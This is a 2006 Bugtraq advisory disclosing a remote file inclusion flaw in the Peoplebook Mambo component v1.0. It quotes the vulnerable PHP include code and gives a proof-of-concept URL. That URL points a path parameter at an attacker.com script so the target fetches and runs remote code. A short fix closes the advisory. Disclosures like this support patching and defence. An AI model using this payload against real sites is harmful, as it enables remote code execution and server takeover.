bugtraq - Peoplebook Mambo Component <= v1.0 Remote File Include Vulnerabilities

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Date: 14 Aug 2006 09:49:41 -0000
From: matdhule@...il.com
To: bugtraq@...urityfocus.com
Subject: Peoplebook Mambo Component <= v1.0 Remote File Include
 Vulnerabilities

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Peoplebook Mambo Component <= v1.0 Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Author          : Matdhule
Date            : August, 14th 2006
Location        : Indonesia, Jakarta
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Peoplebook Component

Application     : Peoplebook Component
version         : 1.0
URL             : www.mamboforge.net/projects/peoplebook

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder com_peoplebook we found vulnerability script param.peoplebook.php.

-----------------------param.peoplebook.php----------------------
....
<?php

if (file_exists($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php')) {
   require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php');
}
else {
   require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/english.php');
} 
...
----------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mosConfig_absolute_path in param.peoplebook.php


---------------------------------------------------------------------------
Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@...oogroups.com, jasakom_perjuangan@...oogroups.com
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~

     matdhule[at]gmail[dot]com
     
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